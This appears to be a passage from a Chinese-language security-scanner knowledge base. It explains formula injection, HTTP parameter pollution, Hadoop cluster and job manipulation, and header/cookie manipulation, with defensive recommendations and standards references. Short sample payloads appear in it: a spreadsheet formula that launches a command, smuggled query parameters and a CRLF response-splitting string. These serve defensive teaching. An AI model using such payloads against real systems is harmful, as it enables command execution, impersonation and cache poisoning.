[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Formula Injection
ABSTRACT
攻击者可能会控制写入到电子表格的数据,借此让用户打开某些电子表格处理器上的文件。
EXPLANATION
常用电子表格处理器(如 Apache OpenOffice Calc 和 Microsoft Office Excel)支持的公式运算非常强大,这可能会使攻击者控制电子表格而在底层系统上运行任意命令或在电子表格上泄漏敏感信息。
例如,攻击者可能在 CSV 字段中注入以下负载:=cmd|’/C calc.exe’!Z0。如果打开电子表格的用户信任文档来源,他/她可能会接受电子表格处理器显示的所有安全提示,并让负载(本例中是打开 Windows 计算器)在其系统上运行。
示例:以下示例展示了使用未经检查的用户控制数据生成 CSV 响应的 Spring 控制器:
1 | @RequestMapping(value = "/api/service.csv") |
RECOMMENDATIONS
防止注入攻击的最佳方法是采用一些间接手段:创建一份用户可以指定的合法值列表,并且规定用户只能从该列表中进行选择。通过这种方法,用户就不能直接由自己来指定资源的名称了。
但在某些情况下,这种方法并不可行,因为这样一份合法资源名的列表过于庞大、难以跟踪。因此,程序员通常在这种情况下采用黑名单的办法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何这样一份黑名单都不可能是完整的,而且将随着时间的推移而过时。更好的方法是创建一份白名单,允许其中的字符出现在资源名称中,且只接受完全由这些被认可的字符组成的输入。
对于公式注入,最好将字母数字字符列入字符集的白名单。如果此方法不可行,至少要将以下字符列入黑名单:=、+、- 和 @。
REFERENCES
[1] Formula Injection Pentest Magazine
[2] Comma Separated Vulnerabilities Context
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 74
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
HTTP Parameter Pollution
ABSTRACT
如果在 URL 中加入未验证的输入,可能会让攻击者重写请求参数的值。攻击者可能会重写现有的参数值、注入新的参数或利用直接得到的变量。
EXPLANATION
HTTP Parameter Pollution (HPP) 攻击包含将编码的查询字符串分隔符注入其他现有的参数中。如果 Web 应用程序没有正确地检查用户输入,恶意用户可能会破坏应用程序的逻辑,进行客户端侧或服务器侧攻击。如果再向 Web 应用程序提交参数,并且如果这些参数与现有参数的名称相同,则 Web 应用程序可能会有下列一种反应:
它可能只从第一个参数中提取数据
它可能从最后一个参数中提取数据
它可能从所有参数中提取数据并把它们连接起来
1 | Technology/HTTP back-end | Overall Parsing Result | Example | |
例 1:根据应用程序服务器和应用程序自身的逻辑,下列请求可能造成与身份验证系统的混淆,使攻击者能模拟别的用户。http://www.server.com/login.php?name=alice&name=hacker
例 2:下列代码使用来自于 HTTP 请求的输入来呈现两个超链接。
1 | ... |
1 | URL: http://www.host.com?poll_id=4567 |
程序员尚未考虑下面这种可能性:攻击者可能会提供一个 lang(例如 en&poll_id=1),然后攻击者将可以随意更改该 poll_id。
RECOMMENDATIONS
在编译 URL 时,未经验证的用户输入应过滤掉多余的参数(删除“&”字符)。
REFERENCES
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 235
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Hadoop Cluster Manipulation
ABSTRACT
该程序允许攻击者控制在其上运行客户端应用程序的 Hadoop 群集的核心组件。
EXPLANATION
Hadoop cluster control 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据被 NameNode、DataNode、JobTraker 等 Hadoop 群集核心组件用来更改群集的状态。
Hadoop 群集是一种有害环境。当用来防止对群集节点未经授权访问的安全配置设置不当时,攻击可能会乘机控制基础设施。这导致了由 Hadoop 群集提供的任何数据遭到篡改的可能性。
例 1:下列代码是典型客户端应用程序中提交的 Job,其输入来自 Hadoop 群集中主计算机的命令行:
1 | public static void run(String args[]) throws IOException { |
RECOMMENDATIONS
对来自不可信任的数据源的数据进行验证。在这种情况下,客户端应用程序运行所使用的 Hadoop 群集应被看作不可信任的数据源。因此,命令行参数、配置文件和存储在 HDFS 上的数据在被应用程序使用前,应根据一个包含已知可接受值的白名单进行验证。 例 2:重新回到例 1:我们可以根据一个已知用户名列表来验证提供的用户名。
1 | public static void run(String args[]) throws IOException { |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[3] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Hadoop Job Manipulation
ABSTRACT
向 Hadoop 群集中提交的 Job 在有害环境中可能被篡改。
EXPLANATION
Hadoop job manipulation 错误在以下情况中出现:
数据从一个不可信赖的数据源进入程序。
数据用来指定控制客户端作业的 JobConf 值。
Hadoop 群集是一种有害环境。当用来防止对群集设备中 HDFS 未经授权访问的安全配置设置不当时,攻击可能会乘机进行控制。从而造成 Hadoop 群集提供的任何数据被篡改的可能性。
例 1:下列代码是典型客户端应用程序中提交的 Job,其输入来自 Hadoop 群集中主计算机的命令行:
1 | public void run(String args[]) throws IOException { |
例 2:以下代码显示了攻击者通过命令行参数控制运行作业中止的情形:
1 | public static void main(String[] args) throws Exception { |
RECOMMENDATIONS
对来自不可信任的数据源的数据进行验证。在这种情况下,客户端应用程序运行所使用的 Hadoop 群集应被看作不可信任的数据源。因此,命令行参数、配置文件和存储在 HDFS 上的数据在被应用程序使用前,应根据一个包含已知可接受值的白名单进行验证。
例 3:重新回到例 1:我们可以对允许进行作业调用的 reducer 数量添加显式限制。
1 | public void run(String args[]) throws IOException { |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[3] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Header Manipulation
ABSTRACT
HTTP 响应头文件中包含未验证的数据会引发 cache-poisoning、cross-site scripting、cross-user defacement、page hijacking、cookie manipulation 或 open redirect。
EXPLANATION
以下情况中会出现 Header Manipulation 漏洞:
数据通过一个不可信赖的数据源进入 Web 应用程序,最常见的是 HTTP 请求。
数据包含在一个 HTTP 响应头文件里,未经验证就发送给了 Web 用户。
如同许多软件安全漏洞一样,Header Manipulation 只是通向终端的一个途径,它本身并不是终端。从本质上看,这些漏洞是显而易见的:一个攻击者将恶意数据传送到易受攻击的应用程序,且该应用程序将数据包含在 HTTP 响应头文件中。
其中最常见的一种 Header Manipulation 攻击是 HTTP Response Splitting。为了成功地实施 HTTP Response Splitting 盗取,应用程序必须允许将那些包含 CR(回车,由 %0d 或 \r 指定)和 LF(换行,由 %0a 或 \n 指定)的字符输入到头文件中。攻击者利用这些字符不仅可以控制应用程序要发送的响应剩余头文件和正文,还可以创建完全受其控制的其他响应。
如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。例如,如果尝试使用被禁用的字符设置头文件,最新版本的 Apache Tomcat 会抛出 IllegalArgumentException。如果您的应用程序服务器能够防止设置带有换行符的头文件,则其具备对 HTTP Response Splitting 的防御能力。然而,单纯地过滤换行符可能无法保证应用程序不受 Cookie Manipulation 或 Open Redirects 的攻击,因此必须在设置带有用户输入的 HTTP 头文件时采取措施。
示例:下列代码片段会从 HTTP 请求中读取网络日志项的作者名字 author,并将其置于一个 HTTP 响应的 cookie 头文件中。
1 | String author = request.getParameter(AUTHOR_PARAM); |
假设在请求中提交了一个字符串,该字符串由标准的字母数字字符组成,如“Jane Smith”,那么包含该 cookie 的 HTTP 响应可能表现为以下形式:
1 | HTTP/1.1 200 OK |
然而,因为 cookie 值来源于未经校验的用户输入,所以仅当提交给 AUTHOR_PARAM 的值不包含任何 CR 和 LF 字符时,响应才会保留这种形式。如果攻击者提交的是一个恶意字符串,比如“Wiley Hacker\r\nHTTP/1.1 200 OK\r\n…”,那么 HTTP 响应就会被分割成以下形式的两个响应:
1 | HTTP/1.1 200 OK |
显然,第二个响应已完全由攻击者控制,攻击者可以用所需的头文件和正文内容构建该响应。攻击者可以构建任意 HTTP 响应,从而发起多种形式的攻击,包括:cross-user defacement、网络和浏览器缓存中毒、cross-site scripting 和 page hijacking。
Cross-User Defacement:攻击者可以向一个易受攻击的服务器发出一个请求,导致服务器创建两个响应,其中第二个响应可能会被曲解为对其他请求的响应,而这一请求很可能是与服务器共享相同 TCP 连接的另一用户发出的。这种攻击可以通过以下方式实现:攻击者诱骗用户,让他们自己提交恶意请求;或在远程情况下,攻击者与用户共享同一个连接到服务器(如共享代理服务器)的 TCP 连接。最理想的情况是,攻击者通过这种方式使用户相信自己的应用程序已经遭受了黑客攻击,进而对应用程序的安全性失去信心。最糟糕的情况是,攻击者可能提供经特殊技术处理的内容,这些内容旨在模仿应用程序的执行方式,但会重定向用户的私人信息(如帐号和密码),将这些信息发送给攻击者。
缓存中毒: 如果多用户 Web 缓存或者单用户浏览器缓存将恶意构建的响应缓存起来,该响应的破坏力会更大。如果响应缓存在共享的 Web 缓存(如在代理服务器中常见的缓存)中,那么使用该缓存的所有用户都会不断收到恶意内容,直到清除该缓存项为止。同样,如果响应缓存在单个用户的浏览器中,那么在清除该缓存项以前,该用户会不断收到恶意内容。然而,影响仅局限于本地浏览器的用户。
Cross-Site Scripting:一旦攻击者控制了应用程序传送的响应,就可以选择多种恶意内容来传播给用户。Cross-Site Scripting 是最常见的攻击形式,这种攻击在响应中包含了恶意的 JavaScript 或其他代码,并在用户的浏览器中执行。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。对于易受攻击的应用程序用户,最常见且最危险的攻击就是使用 JavaScript 将会话和 authentication 信息返回给攻击者,而后攻击者就可以完全控制受害者的帐号了。
Page Hijacking:除了利用一个易受攻击的应用程序向用户传输恶意内容,还可以利用相同的根漏洞,将服务器生成的供用户使用的敏感内容重定向,转而供攻击者使用。攻击者通过提交一个会导致两个响应的请求,即服务器做出的预期响应和攻击者创建的响应,致使某个中间节点(如共享的代理服务器)误导服务器所生成的响应,将本来应传送给用户的响应错误地传给攻击者。因为攻击者创建的请求产生了两个响应,第一个被解析为针对攻击者请求做出的响应,第二个则被忽略。当用户通过同一 TCP 连接发出合法请求时,攻击者的请求已经在此处等候,并被解析为针对受害者这一请求的响应。这时,攻击者将第二个请求发送给服务器,代理服务器利用针对受害者(用户)的、由该服务器产生的这一请求对服务器做出响应,因此,针对受害者的这一响应中会包含所有头文件或正文中的敏感信息。
Cookie Manipulation:当与类似跨站请求伪造的攻击相结合时,攻击者就可以篡改、添加、甚至覆盖合法用户的 cookie。
Open Redirect:如果允许未验证的输入来控制重定向机制所使用的 URL,可能会有利于攻击者发动钓鱼攻击。
RECOMMENDATIONS
针对 Header Manipulation 的解决方法是,确保在适当位置进行输入验证并检验其属性是否正确。
由于 Header Manipulation 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在应用程序输出数据前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态响应,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 Header Manipulation 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免出现其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是扩充应用程序现有的输入验证机制,增加针对 Header Manipulation 的检查。尽管具有一定的价值,但 Header Manipulation 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 Header Manipulation 漏洞的最佳方法是验证所有应用程序输入数据或向用户输出的数据。
针对 Header Manipulation 漏洞进行验证最安全的方式是创建一份安全字符白名单,其中的字符允许出现在 HTTP 响应头文件中,并且只接受完全由这些受认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,帐号可能仅包含 0-9 的数字。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样的列表,首先需要了解在 HTTP 响应头文件中具有特殊含义的一组字符。尽管 CR 和 LF 字符是 HTTP Response Splitting 攻击的核心,但其他字符,如“:”(冒号)和“=”(等号),在响应头文件中同样具有特殊的含义。
一旦在应用程序中确定了针对 Header Manipulation 攻击执行验证的正确点,以及验证过程中要考虑的特殊字符,下一个难题就是确定在验证过程中该如何处理各种特殊字符。应用程序应拒绝任何要添加到 HTTP 响应头文件中的包含特殊字符的输入,这些特殊字符(特别是 CR 和 LF)是无效字符。
许多应用程序服务器都试图避免应用程序出现 HTTP Response Splitting 漏洞,其做法是为负责设置 HTTP 头文件和 cookie 的函数提供各种执行方式,以检验是否存在进行 HTTP Response Splitting 攻击必需的字符。不要依赖运行应用程序的服务器,以此确保该应用程序的安全。开发了某个应用程序后,并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变,我们不能保证应用程序服务器也会保持同步。
REFERENCES
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 113
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
[29] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
Header Manipulation: Cookies
ABSTRACT
在 Cookies 中包含未验证的数据会引发 HTTP 响应头文件操作攻击,并可能导致 cache-poisoning、cross-site scripting、cross-user defacement、page hijacking、cookie manipulation 或 open redirect。
EXPLANATION
以下情况中会出现 Cookie Manipulation 漏洞:
数据通过一个不可信赖的数据源进入 Web 应用程序,最常见的是 HTTP 请求。
数据包含在一个 HTTP Cookie 中,该 Cookie 未经验证就发送给了 Web 用户。
如同许多软件安全漏洞一样,Cookie Manipulation 只是通向终端的一个途径,它本身并不是终端。从本质上看,这些漏洞是显而易见的:攻击者可将恶意数据传送到易受攻击的应用程序,且该应用程序将这些数据包含在 HTTP Cookie 中。
Cookie Manipulation:当与类似跨站请求伪造的攻击相结合时,攻击者就可以篡改、添加、甚至覆盖合法用户的 cookie。
作为 HTTP 响应头文件,Cookie Manipulation 攻击也可导致其他类型的攻击,例如:
HTTP Response Splitting: 其中最常见的一种 Header Manipulation 攻击是 HTTP Response Splitting。为了成功地实施 HTTP Response Splitting 盗取,应用程序必须允许将那些包含 CR(回车,由 %0d 或 \r 指定)和 LF(换行,由 %0a 或 \n 指定)的字符输入到头文件中。攻击者利用这些字符不仅可以控制应用程序要发送的响应剩余头文件和正文,还可以创建完全受其控制的其他响应。
如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。例如,如果尝试使用被禁用的字符设置头文件,最新版本的 Apache Tomcat 会抛出 IllegalArgumentException。如果您的应用程序服务器能够防止设置带有换行符的头文件,则其具备对 HTTP Response Splitting 的防御能力。然而,单纯地过滤换行符可能无法保证应用程序不受 Cookie Manipulation 或 Open Redirects 的攻击,因此必须在设置带有用户输入的 HTTP 头文件时采取措施。
例 1:下列代码片段会从 HTTP 请求中读取网络日志项的作者名字 author,并将其置于一个 HTTP 响应的 cookie 头文件中。
1 | String author = request.getParameter(AUTHOR_PARAM); |
假设在请求中提交了一个字符串,该字符串由标准的字母数字字符组成,如“Jane Smith”,那么包含该 cookie 的 HTTP 响应可能表现为以下形式:
1 | HTTP/1.1 200 OK |
然而,因为 cookie 值来源于未经校验的用户输入,所以仅当提交给 AUTHOR_PARAM 的值不包含任何 CR 和 LF 字符时,响应才会保留这种形式。如果攻击者提交的是一个恶意字符串,比如“Wiley Hacker\r\nHTTP/1.1 200 OK\r\n…”,那么 HTTP 响应就会被分割成以下形式的两个响应:
1 | HTTP/1.1 200 OK |
显然,第二个响应已完全由攻击者控制,攻击者可以用所需的头文件和正文内容构建该响应。攻击者可以构建任意 HTTP 响应,从而发起多种形式的攻击,包括:cross-user defacement、网络和浏览器缓存中毒、cross-site scripting 和 page hijacking。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如头文件和 Cookie Manipulation)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
例 2:以下代码将例 1 改编为适用于 Android 平台。
1 | ... |
Cross-User Defacement:攻击者可以向一个易受攻击的服务器发出一个请求,导致服务器创建两个响应,其中第二个响应可能会被曲解为对其他请求的响应,而这一请求很可能是与服务器共享相同 TCP 连接的另一用户发出的。这种攻击可以通过以下方式实现:攻击者诱骗用户,让他们自己提交恶意请求;或在远程情况下,攻击者与用户共享同一个连接到服务器(如共享代理服务器)的 TCP 连接。最理想的情况是,攻击者通过这种方式使用户相信自己的应用程序已经遭受了黑客攻击,进而对应用程序的安全性失去信心。最糟糕的情况是,攻击者可能提供经特殊技术处理的内容,这些内容旨在模仿应用程序的执行方式,但会重定向用户的私人信息(如帐号和密码),将这些信息发送给攻击者。
缓存中毒: 如果多用户 Web 缓存或者单用户浏览器缓存将恶意构建的响应缓存起来,该响应的破坏力会更大。如果响应缓存在共享的 Web 缓存(如在代理服务器中常见的缓存)中,那么使用该缓存的所有用户都会不断收到恶意内容,直到清除该缓存项为止。同样,如果响应缓存在单个用户的浏览器中,那么在清除该缓存项以前,该用户会不断收到恶意内容。然而,影响仅局限于本地浏览器的用户。
Cross-Site Scripting:一旦攻击者控制了应用程序传送的响应,就可以选择多种恶意内容来传播给用户。Cross-Site Scripting 是最常见的攻击形式,这种攻击在响应中包含了恶意的 JavaScript 或其他代码,并在用户的浏览器中执行。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。对于易受攻击的应用程序用户,最常见且最危险的攻击就是使用 JavaScript 将会话和 authentication 信息返回给攻击者,而后攻击者就可以完全控制受害者的帐号了。
Page Hijacking:除了利用一个易受攻击的应用程序向用户传输恶意内容,还可以利用相同的根漏洞,将服务器生成的供用户使用的敏感内容重定向,转而供攻击者使用。攻击者通过提交一个会导致两个响应的请求,即服务器做出的预期响应和攻击者创建的响应,致使某个中间节点(如共享的代理服务器)误导服务器所生成的响应,将本来应传送给用户的响应错误地传给攻击者。因为攻击者创建的请求产生了两个响应,第一个被解析为针对攻击者请求做出的响应,第二个则被忽略。当用户通过同一 TCP 连接发出合法请求时,攻击者的请求已经在此处等候,并被解析为针对受害者这一请求的响应。这时,攻击者将第二个请求发送给服务器,代理服务器利用针对受害者(用户)的、由该服务器产生的这一请求对服务器做出响应,因此,针对受害者的这一响应中会包含所有头文件或正文中的敏感信息。
打开重定向:如果允许未验证的输入来控制重定向机制所使用的 URL,可能会有利于攻击者发动钓鱼攻击。
RECOMMENDATIONS
针对 Cookie Manipulation 的解决方法是,确保在适当位置进行输入验证并检验其属性是否正确。
由于 Header Manipulation 漏洞(类似于 Cookie Manipulation)出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在应用程序输出数据前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态响应,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 Header Manipulation 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免出现其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是扩充应用程序现有的输入验证机制,增加针对 Header Manipulation 的检查。尽管具有一定的价值,但 Header Manipulation 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 Header Manipulation 漏洞的最佳方法是验证所有应用程序输入的数据和向用户输出的数据。
针对 Header Manipulation 漏洞进行验证最安全的方式是创建一份安全字符白名单,其中的字符允许出现在 HTTP 响应头文件中,并且只接受完全由这些受认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,帐号可能仅包含 0-9 的数字。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样的列表,首先需要了解在 HTTP 响应头文件中具有特殊含义的一组字符。尽管 CR 和 LF 字符是 HTTP Response Splitting 攻击的核心,但其他字符,如“:”(冒号)和“=”(等号),在响应头文件中同样具有特殊的含义。
一旦在应用程序中确定了针对 Header Manipulation 攻击执行验证的正确点,以及验证过程中要考虑的特殊字符,下一个难题就是确定在验证过程中该如何处理各种特殊字符。应用程序应拒绝任何要添加到 HTTP 响应头文件中的包含特殊字符的输入,这些特殊字符(特别是 CR 和 LF)是无效字符。
许多应用程序服务器都试图避免应用程序出现 HTTP Response Splitting 漏洞,其做法是为负责设置 HTTP 头文件和 cookie 的函数提供各种执行方式,以检验是否存在进行 HTTP Response Splitting 攻击必需的字符。不要依赖运行应用程序的服务器,以此确保该应用程序的安全。开发了某个应用程序后,并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变,我们不能保证应用程序服务器也会保持同步。
REFERENCES
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 113
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
